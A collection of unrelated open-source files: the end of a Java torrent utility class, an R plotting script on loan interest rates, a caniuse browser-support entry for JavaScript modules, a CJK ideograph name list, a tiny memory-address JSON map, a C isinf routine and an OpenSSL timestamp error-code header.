return delegate.setAnnounceURL( url );
}
public TOTorrentAnnounceURLGroup
getAnnounceURLGroup()
{
return( delegate.getAnnounceURLGroup());
}
protected void
discardPieces(
long now,
boolean force )
{
// handle clock changes backwards
if ( now < last_pieces_read_time && !force ){
last_pieces_read_time = now;
}else{
try{
if( ( now - last_pieces_read_time > PIECE_HASH_TIMEOUT || force ) &&
delegate.getPieces() != null ){
try{
getMonitor().enter();
// System.out.println( "clearing pieces for '" + new String(getName()) + "'");
delegate.setPieces( null );
}finally{
getMonitor().exit();
}
}
}catch( Throwable e ){
Debug.printStackTrace(e);
}
}
}
public byte[][]
getPieces()
throws TOTorrentException
{
byte[][] res = delegate.getPieces();
last_pieces_read_time = SystemTime.getCurrentTime();
if ( res == null ){
// System.out.println( "recovering pieces for '" + new String(getName()) + "'");
try{
getMonitor().enter();
restoreState( true, false );
res = delegate.getPieces();
}finally{
getMonitor().exit();
}
}
return( res );
}
/**
* monitor must be held before calling me
* @param do_pieces
* @param do_fluff
* @throws TOTorrentException
*/
protected boolean[]
restoreState(
boolean do_pieces,
boolean do_fluff )
throws TOTorrentException
{
boolean had_pieces = delegate.getPieces() != null;
boolean had_fluff = true;
for(Iterator it = torrentFluffKeyset.iterator();it.hasNext();){
had_fluff &= delegate.getAdditionalMapProperty( (String)it.next() ) != fluffThombstone;
}
if ( had_pieces ){
do_pieces = false;
}
if ( had_fluff ){
do_fluff = false;
}
if ( do_pieces || do_fluff ){
TOTorrent temp = readFromFile( file, false );
if ( do_pieces ){
byte[][] res = temp.getPieces();
delegate.setPieces( res );
}
if ( do_fluff ){
for (Iterator it = torrentFluffKeyset.iterator(); it.hasNext();){
String fluffKey = (String) it.next();
// only update the discarded entries as non-discarded may be out of sync
// with the file contents
if ( delegate.getAdditionalMapProperty( fluffKey ) == fluffThombstone ){
delegate.setAdditionalMapProperty(fluffKey, temp.getAdditionalMapProperty(fluffKey));
}
}
}
}
return( new boolean[]{ do_pieces, do_fluff });
}
/**
* peeks the pieces, will return null if they are discarded
* @return
*/
public byte[][]
peekPieces()
throws TOTorrentException
{
return( delegate.getPieces());
}
public void
setPieces(
byte[][] pieces )
throws TOTorrentException
{
throw( new TOTorrentException( "Unsupported Operation", TOTorrentException.RT_WRITE_FAILS ));
}
public long
getPieceLength()
{
return( delegate.getPieceLength());
}
public int
getNumberOfPieces()
{
return( delegate.getNumberOfPieces());
}
public long
getSize()
{
return( delegate.getSize());
}
public TOTorrentFile[]
getFiles()
{
return( delegate.getFiles());
}
public byte[]
getHash()
throws TOTorrentException
{
return( delegate.getHash());
}
public HashWrapper
getHashWrapper()
throws TOTorrentException
{
return( delegate.getHashWrapper());
}
public boolean
getPrivate()
{
return( delegate.getPrivate());
}
public void
setPrivate(
boolean _private )
throws TOTorrentException
{
// don't support this as it changes teh torrent hash
throw( new TOTorrentException( "Can't amend private attribute", TOTorrentException.RT_WRITE_FAILS ));
}
public boolean
hasSameHashAs(
TOTorrent other )
{
return( delegate.hasSameHashAs( other ));
}
public void
setAdditionalStringProperty(
String name,
String value )
{
delegate.setAdditionalStringProperty( name, value );
}
public String
getAdditionalStringProperty(
String name )
{
return( delegate.getAdditionalStringProperty( name ));
}
public void
setAdditionalByteArrayProperty(
String name,
byte[] value )
{
delegate.setAdditionalByteArrayProperty( name, value );
}
public byte[]
getAdditionalByteArrayProperty(
String name )
{
return( delegate.getAdditionalByteArrayProperty( name ));
}
public void
setAdditionalLongProperty(
String name,
Long value )
{
delegate.setAdditionalLongProperty( name, value );
}
public Long
getAdditionalLongProperty(
String name )
{
return( delegate.getAdditionalLongProperty( name ));
}
public void
setAdditionalListProperty(
String name,
List value )
{
delegate.setAdditionalListProperty( name, value );
}
public List
getAdditionalListProperty(
String name )
{
return( delegate.getAdditionalListProperty( name ));
}
public void
setAdditionalMapProperty(
String name,
Map value )
{
if ( torrentFluffKeyset.contains(name)){
//System.out.println( "Set fluff for " + new String(getName()) + " to " + value );
try{
getMonitor().enter();
delegate.setAdditionalMapProperty( name, value );
fluff_dirty = true;
}finally{
getMonitor().exit();
}
}else{
delegate.setAdditionalMapProperty( name, value );
}
}
public Map
getAdditionalMapProperty(
String name )
{
if (torrentFluffKeyset.contains(name)){
try{
getMonitor().enter();
Map result = delegate.getAdditionalMapProperty( name );
if ( result == fluffThombstone ){
try{
restoreState( false, true );
Map res = delegate.getAdditionalMapProperty( name );
//System.out.println( "Restored fluff for " + new String(getName()) + " to " + res );
return( res );
}catch( Throwable e ){
Debug.out( "Property '" + name + " lost due to torrent read error", e );
}
}
}finally{
getMonitor().exit();
}
}
return( delegate.getAdditionalMapProperty( name ));
}
public Object getAdditionalProperty(String name) {
if (torrentFluffKeyset.contains(name))
{
try
{
getMonitor().enter();
Object result = delegate.getAdditionalProperty(name);
if (result == fluffThombstone)
{
try
{
restoreState(false, true);
Object res = delegate.getAdditionalProperty(name);
//System.out.println( "Restored fluff for " + new String(getName()) + " to " + res );
return (res);
} catch (Throwable e)
{
Debug.out("Property '" + name + " lost due to torrent read error", e);
}
}
} finally
{
getMonitor().exit();
}
}
return delegate.getAdditionalProperty(name);
}
public void
setAdditionalProperty(
String name,
Object value )
{
if ( torrentFluffKeyset.contains(name)){
//System.out.println( "Set fluff for " + new String(getName()) + " to " + value );
try{
getMonitor().enter();
delegate.setAdditionalProperty( name, value );
fluff_dirty = true;
}finally{
getMonitor().exit();
}
}else{
delegate.setAdditionalProperty( name, value );
}
}
public void
removeAdditionalProperty(
String name )
{
if(delegate.getAdditionalProperty(name) == null)
return;
if ( torrentFluffKeyset.contains(name)){
//System.out.println( "Set fluff for " + new String(getName()) + " to " + value );
try{
getMonitor().enter();
delegate.removeAdditionalProperty( name );
fluff_dirty = true;
}finally{
getMonitor().exit();
}
}else{
delegate.removeAdditionalProperty( name );
}
}
public void
removeAdditionalProperties()
{
try{
getMonitor().enter();
delegate.removeAdditionalProperties();
fluff_dirty = true;
}finally{
getMonitor().exit();
}
}
public void
serialiseToBEncodedFile(
File target_file )
throws TOTorrentException
{
// make sure pieces are current
try{
getMonitor().enter();
boolean[] restored = restoreState( true, true );
delegate.serialiseToBEncodedFile( target_file );
if ( target_file.equals( file )){
fluff_dirty = false;
}
if ( restored[0] ){
discardPieces( SystemTime.getCurrentTime(), true );
}
if ( restored[1] ){
for (Iterator it = torrentFluffKeyset.iterator(); it.hasNext();){
delegate.setAdditionalMapProperty( (String)it.next(), fluffThombstone );
}
}
}finally{
getMonitor().exit();
}
}
public Map
serialiseToMap()
throws TOTorrentException
{
// make sure pieces are current
try{
getMonitor().enter();
boolean[] restored = restoreState( true, true );
Map result = delegate.serialiseToMap();
if ( restored[0] ){
discardPieces( SystemTime.getCurrentTime(), true );
}
if ( restored[1]){
for (Iterator it = torrentFluffKeyset.iterator(); it.hasNext();){
delegate.setAdditionalMapProperty((String) it.next(), fluffThombstone);
}
}
return( result );
}finally{
getMonitor().exit();
}
}
public void
serialiseToXMLFile(
File target_file )
throws TOTorrentException
{
// make sure pieces are current
try{
getMonitor().enter();
boolean[] restored = restoreState( true, true );
delegate.serialiseToXMLFile( target_file );
if ( restored[0] ){
discardPieces( SystemTime.getCurrentTime(), true );
}
if ( restored[1]){
for (Iterator it = torrentFluffKeyset.iterator(); it.hasNext();){
delegate.setAdditionalMapProperty((String) it.next(), fluffThombstone);
}
}
}finally{
getMonitor().exit();
}
}
public AEMonitor
getMonitor()
{
return( delegate.getMonitor());
}
public void
print()
{
delegate.print();
}
public String getRelationText() {
if (delegate instanceof LogRelation)
return ((LogRelation)delegate).getRelationText();
return delegate.toString();
}
public Object[] getQueryableInterfaces() {
if (delegate instanceof LogRelation)
return ((LogRelation)delegate).getQueryableInterfaces();
return super.getQueryableInterfaces();
}
}
/**
* Copy a file to the Torrent Save Directory, taking into account all the
* user config options related to that.
* <p>
* Also makes the directory if it doesn't exist.
*
* @param f File to copy
* @param persistent Whether the torrent is persistent
* @return File after it's been copied (may be the same as f)
* @throws IOException
*/
public static File copyTorrentFileToSaveDir(File f, boolean persistent)
throws IOException {
File torrentDir;
boolean saveTorrents = persistent
&& COConfigurationManager.getBooleanParameter("Save Torrent Files");
if (saveTorrents)
torrentDir = new File(COConfigurationManager
.getDirectoryParameter("General_sDefaultTorrent_Directory"));
else
torrentDir = new File(f.getParent());
//if the torrent is already in the completed files dir, use this
//torrent instead of creating a new one in the default dir
boolean moveWhenDone = COConfigurationManager.getBooleanParameter("Move Completed When Done");
String completedDir = COConfigurationManager.getStringParameter(
"Completed Files Directory", "");
if (moveWhenDone && completedDir.length() > 0) {
File cFile = new File(completedDir, f.getName());
if (cFile.exists()) {
//set the torrentDir to the completedDir
torrentDir = new File(completedDir);
}
}
FileUtil.mkdirs(torrentDir);
File fDest = new File(torrentDir, f.getName().replaceAll("%20", "."));
if (fDest.equals(f)) {
return f;
}
while (fDest.exists()) {
fDest = new File(torrentDir, "_" + fDest.getName());
}
fDest.createNewFile();
if (!FileUtil.copyFile(f, fDest)) {
throw new IOException("File copy failed");
}
return fDest;
}
/**
* Get the DownloadManager related to a torrent's hashBytes
*
* @param hashBytes
* @return
*/
public static DownloadManager getDownloadManager( HashWrapper hash ) {
try {
return AzureusCoreFactory.getSingleton().getGlobalManager()
.getDownloadManager(hash);
} catch (Exception e) {
return null;
}
}
/**
* Deletes the given dir and all dirs underneath if empty.
* Don't delete default save path or completed files directory, however,
* allow deletion of their empty subdirectories
* Files defined to be ignored for the sake of torrent creation are automatically deleted
* For example, by default this includes thumbs.db
*/
public static void recursiveEmptyDirDelete(File f) {
TorrentUtils.recursiveEmptyDirDelete(f, true);
}
/**
* Same as #recursiveEmptyDirDelete(File), except allows disabling of logging
* of any warnings
*
* @param f Dir to delete
* @param log_warnings Whether to log warning
*/
public static void recursiveEmptyDirDelete(File f, boolean log_warnings) {
Set ignore_map = getIgnoreSet();
FileUtil.recursiveEmptyDirDelete(f, ignore_map, log_warnings);
}
/**
* A nice string of a Torrent's hash
*
* @param torrent Torrent to fromat hash of
* @return Hash string in a nice format
*/
public static String nicePrintTorrentHash(TOTorrent torrent) {
return nicePrintTorrentHash(torrent, false);
}
/**
* A nice string of a Torrent's hash
*
* @param torrent Torrent to fromat hash of
* @param tight No spaces between groups of numbers
*
* @return Hash string in a nice format
*/
public static String nicePrintTorrentHash(TOTorrent torrent, boolean tight) {
byte[] hash;
if (torrent == null) {
hash = new byte[20];
} else {
try {
hash = torrent.getHash();
} catch (TOTorrentException e) {
Debug.printStackTrace(e);
hash = new byte[20];
}
}
return (ByteFormatter.nicePrint(hash, tight));
}
/**
* Runs a file through a series of test to verify if it is a torrent.
*
* @param filename File to test
* @return true - file is a valid torrent file
*
* @throws FileNotFoundException
* @throws IOException
*/
public static boolean isTorrentFile(String filename) throws FileNotFoundException, IOException {
File check = new File(filename);
if (!check.exists())
throw new FileNotFoundException("File "+filename+" not found.");
if (!check.canRead())
throw new IOException("File "+filename+" cannot be read.");
if (check.isDirectory())
throw new FileIsADirectoryException("File "+filename+" is a directory.");
try {
TOTorrentFactory.deserialiseFromBEncodedFile(check);
return true;
} catch (Throwable e) {
return false;
}
}
public static void
addCreatedTorrent(
TOTorrent torrent )
{
synchronized( created_torrents ){
try{
byte[] hash = torrent.getHash();
//System.out.println( "addCreated:" + new String(torrent.getName()) + "/" + ByteFormatter.encodeString( hash ));
if ( created_torrents.size() == 0 ){
COConfigurationManager.setParameter( "my.created.torrents", created_torrents );
}
HashWrapper hw = new HashWrapper( hash );
if ( !created_torrents_set.contains( hw )){
created_torrents.add( hash );
created_torrents_set.add( hw );
COConfigurationManager.setDirty();
}
}catch( TOTorrentException e ){
}
}
}
public static void
removeCreatedTorrent(
TOTorrent torrent )
{
synchronized( created_torrents ){
try{
HashWrapper hw = torrent.getHashWrapper();
byte[] hash = hw.getBytes();
//System.out.println( "removeCreated:" + new String(torrent.getName()) + "/" + ByteFormatter.encodeString( hash ));
Iterator it = created_torrents.iterator();
while( it.hasNext()){
byte[] h = (byte[])it.next();
if ( Arrays.equals( hash, h )){
it.remove();
}
}
COConfigurationManager.setDirty();
created_torrents_set.remove( hw );
}catch( TOTorrentException e ){
}
}
}
public static boolean
isCreatedTorrent(
TOTorrent torrent )
{
synchronized( created_torrents ){
try{
HashWrapper hw = torrent.getHashWrapper();
boolean res = created_torrents_set.contains( hw );
// if we don't have a persistent record of creation, check the non-persisted version
if ( !res ){
res = torrent.isCreated();
}
// System.out.println( "isCreated:" + new String(torrent.getName()) + "/" + ByteFormatter.encodeString( hw.getBytes()) + " -> " + res );
return( res );
}catch( TOTorrentException e ){
Debug.printStackTrace(e);
return( false );
}
}
}
}
| {
"pile_set_name": "Github"
} |
library(xtable)
library(openintro)
d <- loans_full_schema
d$past_bankr <- (d$public_record_bankrupt > 0) + 0
myPDF("intRateVsPastBankrScatter.pdf", 4.2, 4,
mar = c(3.7, 3.7, 0, 0.5),
mgp = c(2.5,0.55,0))
plot(d$past_bankr, d$interest_rate,
xlim = c(-0.15, 1.15),
axes = FALSE,
type = "n",
xlab = "",
ylab = "Interest Rate")
at <- seq(0, 30, 5)
abline(h = at, col = COL[7, 3])
points(d$past_bankr, # + runif(nrow(d), -0.05, 0.05),
d$interest_rate, # + rnorm(nrow(d), sd = 0.5),
col = COL[1, 4],
pch = 19,
cex = 0.7)
AxisInPercent(2, at)
par(mgp = c(2.5, 1.55, 0))
axis(1, at = 0:1, labels = c("0\n(no)", "1\n(yes)"))
par(mgp = c(2.5, 0.55, 0))
mtext("Any Past Bankruptcy", 1, 2.6)
m <- lm(interest_rate ~ past_bankr, data = d)
abline(m, col = COL[5], lwd = 1.5)
dev.off()
summary(m)
xtable(m)
| {
"pile_set_name": "Github"
} |
{
"title":"JavaScript modules via script tag",
"description":"Loading JavaScript module scripts using `<script type=\"module\">` Includes support for the `nomodule` attribute.",
"spec":"https://html.spec.whatwg.org/multipage/scripting.html#attr-script-type",
"status":"ls",
"links":[
{
"url":"https://strongloop.com/strongblog/an-introduction-to-javascript-es6-modules/",
"title":"Intro to ES6 modules"
},
{
"url":"https://blogs.windows.com/msedgedev/2016/05/17/es6-modules-and-beyond/",
"title":"MS Edge blog post"
},
{
"url":"https://hacks.mozilla.org/2015/08/es6-in-depth-modules/",
"title":"Mozilla hacks article"
},
{
"url":"https://bugzilla.mozilla.org/show_bug.cgi?id=568953",
"title":"Firefox support bug"
},
{
"url":"https://blog.hospodarets.com/native-ecmascript-modules-the-first-overview",
"title":"Blog post: Native ECMAScript modules - the first overview"
},
{
"url":"https://tc39.github.io/ecma262/#sec-modules",
"title":"Counterpart ECMAScript specification for import/export syntax"
},
{
"url":"https://html.spec.whatwg.org/multipage/scripting.html#attr-script-nomodule",
"title":"Specification for nomodule attribute"
},
{
"url":"https://hospodarets.com/native-ecmascript-modules-nomodule",
"title":"Blog post on using nomodule"
},
{
"url":"https://gist.github.com/jakub-g/5fc11af85a061ca29cc84892f1059fec",
"title":"Will it double-fetch? Browser behavior with `module` / `nomodule` scripts"
}
],
"bugs":[
{
"description":"`nomodule` scripts are not executed in Edge, but they're still fetched"
},
{
"description":"Edge 17+ fetches HTML-declared <script type='module'> twice"
}
],
"categories":[
"JS"
],
"stats":{
"ie":{
"5.5":"n",
"6":"n",
"7":"n",
"8":"n",
"9":"n",
"10":"n",
"11":"n"
},
"edge":{
"12":"n",
"13":"n",
"14":"n",
"15":"n d #1 #6",
"16":"y #6",
"17":"y #6",
"18":"y #6",
"76":"y"
},
"firefox":{
"2":"n",
"3":"n",
"3.5":"n",
"3.6":"n",
"4":"n",
"5":"n",
"6":"n",
"7":"n",
"8":"n",
"9":"n",
"10":"n",
"11":"n",
"12":"n",
"13":"n",
"14":"n",
"15":"n",
"16":"n",
"17":"n",
"18":"n",
"19":"n",
"20":"n",
"21":"n",
"22":"n",
"23":"n",
"24":"n",
"25":"n",
"26":"n",
"27":"n",
"28":"n",
"29":"n",
"30":"n",
"31":"n",
"32":"n",
"33":"n",
"34":"n",
"35":"n",
"36":"n",
"37":"n",
"38":"n",
"39":"n",
"40":"n",
"41":"n",
"42":"n",
"43":"n",
"44":"n",
"45":"n",
"46":"n",
"47":"n",
"48":"n",
"49":"n",
"50":"n",
"51":"n",
"52":"n",
"53":"n",
"54":"n d #2",
"55":"n d #2",
"56":"n d #2",
"57":"n d #2",
"58":"n d #2",
"59":"n d #2",
"60":"y",
"61":"y",
"62":"y",
"63":"y",
"64":"y",
"65":"y",
"66":"y",
"67":"y",
"68":"y",
"69":"y",
"70":"y"
},
"chrome":{
"4":"n",
"5":"n",
"6":"n",
"7":"n",
"8":"n",
"9":"n",
"10":"n",
"11":"n",
"12":"n",
"13":"n",
"14":"n",
"15":"n",
"16":"n",
"17":"n",
"18":"n",
"19":"n",
"20":"n",
"21":"n",
"22":"n",
"23":"n",
"24":"n",
"25":"n",
"26":"n",
"27":"n",
"28":"n",
"29":"n",
"30":"n",
"31":"n",
"32":"n",
"33":"n",
"34":"n",
"35":"n",
"36":"n",
"37":"n",
"38":"n",
"39":"n",
"40":"n",
"41":"n",
"42":"n",
"43":"n",
"44":"n",
"45":"n",
"46":"n",
"47":"n",
"48":"n",
"49":"n",
"50":"n",
"51":"n",
"52":"n",
"53":"n",
"54":"n",
"55":"n",
"56":"n",
"57":"n",
"58":"n",
"59":"n",
"60":"n d #1",
"61":"y",
"62":"y",
"63":"y",
"64":"y",
"65":"y",
"66":"y",
"67":"y",
"68":"y",
"69":"y",
"70":"y",
"71":"y",
"72":"y",
"73":"y",
"74":"y",
"75":"y",
"76":"y",
"77":"y",
"78":"y",
"79":"y"
},
"safari":{
"3.1":"n",
"3.2":"n",
"4":"n",
"5":"n",
"5.1":"n",
"6":"n",
"6.1":"n",
"7":"n",
"7.1":"n",
"8":"n",
"9":"n",
"9.1":"n",
"10":"n",
"10.1":"a #4 #5",
"11":"y",
"11.1":"y",
"12":"y",
"12.1":"y",
"13":"y",
"TP":"y"
},
"opera":{
"9":"n",
"9.5-9.6":"n",
"10.0-10.1":"n",
"10.5":"n",
"10.6":"n",
"11":"n",
"11.1":"n",
"11.5":"n",
"11.6":"n",
"12":"n",
"12.1":"n",
"15":"n",
"16":"n",
"17":"n",
"18":"n",
"19":"n",
"20":"n",
"21":"n",
"22":"n",
"23":"n",
"24":"n",
"25":"n",
"26":"n",
"27":"n",
"28":"n",
"29":"n",
"30":"n",
"31":"n",
"32":"n",
"33":"n",
"34":"n",
"35":"n",
"36":"n",
"37":"n",
"38":"n",
"39":"n",
"40":"n",
"41":"n",
"42":"n",
"43":"n",
"44":"n",
"45":"n",
"46":"n",
"47":"n d #1",
"48":"y",
"49":"y",
"50":"y",
"51":"y",
"52":"y",
"53":"y",
"54":"y",
"55":"y",
"56":"y",
"57":"y",
"58":"y",
"60":"y",
"62":"y"
},
"ios_saf":{
"3.2":"n",
"4.0-4.1":"n",
"4.2-4.3":"n",
"5.0-5.1":"n",
"6.0-6.1":"n",
"7.0-7.1":"n",
"8":"n",
"8.1-8.4":"n",
"9.0-9.2":"n",
"9.3":"n",
"10.0-10.2":"n",
"10.3":"a #4 #5",
"11.0-11.2":"y",
"11.3-11.4":"y",
"12.0-12.1":"y",
"12.2-12.3":"y",
"13":"y"
},
"op_mini":{
"all":"n"
},
"android":{
"2.1":"n",
"2.2":"n",
"2.3":"n",
"3":"n",
"4":"n",
"4.1":"n",
"4.2-4.3":"n",
"4.4":"n",
"4.4.3-4.4.4":"n",
"67":"y"
},
"bb":{
"7":"n",
"10":"n"
},
"op_mob":{
"10":"n",
"11":"n",
"11.1":"n",
"11.5":"n",
"12":"n",
"12.1":"n",
"46":"n"
},
"and_chr":{
"75":"y"
},
"and_ff":{
"67":"y"
},
"ie_mob":{
"10":"n",
"11":"n"
},
"and_uc":{
"12.12":"n"
},
"samsung":{
"4":"n",
"5.0-5.4":"n",
"6.2-6.4":"n",
"7.2-7.4":"n",
"8.2":"y",
"9.2":"y"
},
"and_qq":{
"1.2":"n"
},
"baidu":{
"7.12":"n"
},
"kaios":{
"2.5":"n"
}
},
"notes":"",
"notes_by_num":{
"1":"Support can be enabled via `about:flags`",
"2":"Support can be enabled via `about:config`",
"3":"Support can be enabled via the `experimental-web-platform-features` flag",
"4":"Does not support the `nomodule` attribute",
"5":"A [polyfill is available](https://gist.github.com/samthor/64b114e4a4f539915a95b91ffd340acc) for Safari 10.1/iOS Safari 10.3",
"6":"`nomodule` scripts are not executed, but they're still fetched"
},
"usage_perc_y":86.05,
"usage_perc_a":0.32,
"ucprefix":false,
"parent":"",
"keywords":"es6,javascript,module,import,export,nomodule",
"ie_id":"moduleses6",
"chrome_id":"5365692190687232",
"firefox_id":"",
"webkit_id":"feature-modules",
"shown":true
}
| {
"pile_set_name": "Github"
} |
24F00: Ideograma sū
24F01: Ideograma méng
24F02: Ideograma xiǎn
24F03: Ideograph Lòng
24F04:
24F05: Ideograma qì
24F06:
24F07:
24F08:
24F09:
24F0A:
24F0B: Ideograph Chàn
24F0C: Ideograma yì
24F0D: Ideograma háng
24F0E: Ideograma mak6
24F0F: Liografía de ideografía
24F10: Ideograma guán
24F11:
24F12: Ideograph wěi
24F13: Ideograma
24F14: Ideograma
24F15: Ideograma
24F16:
24F17: Ideograma jué
24F18: Ideograph Léi
24F19: Ideograma luán
24F1A: Ideograph lì
24F1B:
24F1C: Ideograma
24F1D:
24F1E: Ideograma
24F1F:
24F20:
24F21:
24F22: Ideograma huǎn
24F23:
24F24:
24F25:
24F26:
24F27:
24F28:
24F29:
24F2A:
24F2B:
24F2C:
24F2D:
24F2E: Ideograma guī
24F2F:
24F30:
24F31:
24F32:
24F33: Ideograph jú
24F34:
24F35:
24F36: Ideografía dēng
24F37:
24F38: Ideograma
24F39:
24F3A: Ideograma fèi
24F3B:
24F3C:
24F3D:
24F3E:
24F3F:
24F40: Ideograma
24F41: Ideograma zhī
24F42:
24F43: Ideograma mèi
24F44:
24F45: Ideograma huàn
24F46:
24F47:
24F48:
24F49: Ideograma pā
24F4A: Ideograma bǐ
24F4B:
24F4C: Ideograma pō
24F4D:
24F4E:
24F4F:
24F50:
24F51:
24F52:
24F53: Ideograph ér
24F54:
24F55: Ideograma huàn
24F56:
24F57: Ideograma
24F58:
24F59:
24F5A:
24F5B:
24F5C: Ideograma mui6
24F5D:
24F5E:
24F5F:
24F60:
24F61:
24F62:
24F63: Ideograph chàng
24F64:
24F65: Ideograma luò
24F66: Ideograma fǒu
24F67:
24F68:
24F69:
24F6A:
24F6B:
24F6C:
24F6D:
24F6E:
24F6F: Ideograph Chóu
24F70:
24F71: Ideograma zú
24F72: Ideograma nán
24F73: Ideograma xiǎo
24F74: Ideograma
24F75: Ideograma
24F76: Ideograma
24F77:
24F78: Ideograma
24F79: Ideograph bài
24F7A: Ideograph lù
24F7B:
24F7C: Ideograma luò
24F7D:
24F7E:
24F7F: Ideograma niàn
24F80: Ideograma zé
24F81:
24F82: Ideograma jyun2
24F83:
24F84: Ideograma zhù
24F85: Ideograma hú
24F86: Ideograma dau1
24F87:
24F88: Ideograma huī
24F89: Ideograma
24F8A: Ideograph Chóu
24F8B:
24F8C:
24F8D:
24F8E:
24F8F:
24F90:
24F91: Ideograma huáng
24F92: Ideograph Dōu
24F93: Ideograma
24F94: Ideograma
24F95:
24F96:
24F97: Ideograma wong4
24F98:
24F99:
24F9A: Ideograma jit6
24F9B: Ideograma miào
24F9C:
24F9D: Ideograma bó
24F9E:
24F9F: Ideograma
24FA0: Ideograma dì
24FA1:
24FA2: Ideograph děng
24FA3: Ideograma pū
24FA4:
24FA5: Ideograph sōng
24FA6: Ideograph Chóu
24FA7:
24FA8:
24FA9: Ideograma bik1
24FAA:
24FAB: Ideograma yào
24FAC: Mente de ideogramas
24FAD: Ideograma lóng
24FAE:
24FAF: Ideograma
24FB0: Ideograma
24FB1: Ideograma
24FB2: Ideógrafo lián
24FB3:
24FB4:
24FB5: Ideograma bié
24FB6:
24FB7: Ideograma
24FB8: Ideograma faa1
24FB9:
24FBA: Ideograph lǚ
24FBB:
24FBC:
24FBD:
24FBE:
24FBF: Ideograma sè
24FC0: Ideograma zuó
24FC1:
24FC2: Ideógrafo (Cant.) Poco atractivo, pálido CJK : saai4
24FC3:
24FC4: Ideograma cún
24FC5: Alineación de ideogramas
24FC6: Ideograma zhěng
24FC7: Ideograph pǐ
24FC8: Ideograph Báo
24FC9:
24FCA:
24FCB: Ideograph què
24FCC:
24FCD: Ideograma
24FCE: Ideograph para dividir CJK : Pi
24FCF: Ideograma nàn
24FD0: Ideograma pī
24FD1: Ideograma bǒ
24FD2: Ideograph Bèi
24FD3: Ideograma fā
24FD4:
24FD5: Ideograma mǐn
24FD6: Ideograma mò
24FD7: Ideograma wà
24FD8: Ideograma zhāo
24FD9: Ideograma zhì
24FDA: Ideograma cū
24FDB:
24FDC:
24FDD:
24FDE:
24FDF: Ideograma xún
24FE0: Ideograma jí
24FE1: Ideograma guì
24FE2:
24FE3: Ideograph Chéng
24FE4: Ideograma
24FE5:
24FE6: Ideograma
24FE7: Ideograph hàn
24FE8: Ideograma xiào
24FE9: Ideograph què
24FEA: Ideógrafo (Cant.) Arrugado, arrugado CJK : zaap3
24FEB: Ideograma chuò
24FEC:
24FED: Ideograma fǔ
24FEE:
24FEF:
24FF0: Ideograma
24FF1: Ideograma
24FF2:
24FF3: Ideograma qǐn
24FF4: Ideograph lù
24FF5: Ideograph què
24FF6: Ideograma diǎn
24FF7: Ideograph Qiān
24FF8:
24FF9:
24FFA:
24FFB:
24FFC: Cambio de ideograma
24FFD: Ideograma tà
24FFE: Ideograma bēi
24FFF:
| {
"pile_set_name": "Github"
} |
{
"info": {
"health": {
"address": 16775198,
"type": "|i1"
},
"score": {
"address": 16775201,
"type": "|d1"
}
}
}
| {
"pile_set_name": "Github"
} |
/*!The Treasure Box Library
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Copyright (C) 2009-2020, TBOOX Open Source Group.
*
* @author ruki
* @file isinff.c
* @ingroup libm
*
*/
/* //////////////////////////////////////////////////////////////////////////////////////
* includes
*/
#include "math.h"
/* //////////////////////////////////////////////////////////////////////////////////////
* implementation
*/
tb_long_t tb_isinff(tb_float_t x)
{
tb_ieee_float_t e; e.f = x;
tb_int32_t t = e.i & 0x7fffffff;
t ^= 0x7f800000;
t |= -t;
return (tb_long_t)(~(t >> 31) & (e.i >> 30));
}
| {
"pile_set_name": "Github"
} |
/*
* Generated by util/mkerr.pl DO NOT EDIT
* Copyright 1995-2018 The OpenSSL Project Authors. All Rights Reserved.
*
* Licensed under the OpenSSL license (the "License"). You may not use
* this file except in compliance with the License. You can obtain a copy
* in the file LICENSE in the source distribution or at
* https://www.openssl.org/source/license.html
*/
#ifndef HEADER_TSERR_H
# define HEADER_TSERR_H
# include <openssl/opensslconf.h>
# ifndef OPENSSL_NO_TS
# ifdef __cplusplus
extern "C"
# endif
int ERR_load_TS_strings(void);
/*
* TS function codes.
*/
# define TS_F_DEF_SERIAL_CB 110
# define TS_F_DEF_TIME_CB 111
# define TS_F_ESS_ADD_SIGNING_CERT 112
# define TS_F_ESS_ADD_SIGNING_CERT_V2 147
# define TS_F_ESS_CERT_ID_NEW_INIT 113
# define TS_F_ESS_CERT_ID_V2_NEW_INIT 156
# define TS_F_ESS_SIGNING_CERT_NEW_INIT 114
# define TS_F_ESS_SIGNING_CERT_V2_NEW_INIT 157
# define TS_F_INT_TS_RESP_VERIFY_TOKEN 149
# define TS_F_PKCS7_TO_TS_TST_INFO 148
# define TS_F_TS_ACCURACY_SET_MICROS 115
# define TS_F_TS_ACCURACY_SET_MILLIS 116
# define TS_F_TS_ACCURACY_SET_SECONDS 117
# define TS_F_TS_CHECK_IMPRINTS 100
# define TS_F_TS_CHECK_NONCES 101
# define TS_F_TS_CHECK_POLICY 102
# define TS_F_TS_CHECK_SIGNING_CERTS 103
# define TS_F_TS_CHECK_STATUS_INFO 104
# define TS_F_TS_COMPUTE_IMPRINT 145
# define TS_F_TS_CONF_INVALID 151
# define TS_F_TS_CONF_LOAD_CERT 153
# define TS_F_TS_CONF_LOAD_CERTS 154
# define TS_F_TS_CONF_LOAD_KEY 155
# define TS_F_TS_CONF_LOOKUP_FAIL 152
# define TS_F_TS_CONF_SET_DEFAULT_ENGINE 146
# define TS_F_TS_GET_STATUS_TEXT 105
# define TS_F_TS_MSG_IMPRINT_SET_ALGO 118
# define TS_F_TS_REQ_SET_MSG_IMPRINT 119
# define TS_F_TS_REQ_SET_NONCE 120
# define TS_F_TS_REQ_SET_POLICY_ID 121
# define TS_F_TS_RESP_CREATE_RESPONSE 122
# define TS_F_TS_RESP_CREATE_TST_INFO 123
# define TS_F_TS_RESP_CTX_ADD_FAILURE_INFO 124
# define TS_F_TS_RESP_CTX_ADD_MD 125
# define TS_F_TS_RESP_CTX_ADD_POLICY 126
# define TS_F_TS_RESP_CTX_NEW 127
# define TS_F_TS_RESP_CTX_SET_ACCURACY 128
# define TS_F_TS_RESP_CTX_SET_CERTS 129
# define TS_F_TS_RESP_CTX_SET_DEF_POLICY 130
# define TS_F_TS_RESP_CTX_SET_SIGNER_CERT 131
# define TS_F_TS_RESP_CTX_SET_STATUS_INFO 132
# define TS_F_TS_RESP_GET_POLICY 133
# define TS_F_TS_RESP_SET_GENTIME_WITH_PRECISION 134
# define TS_F_TS_RESP_SET_STATUS_INFO 135
# define TS_F_TS_RESP_SET_TST_INFO 150
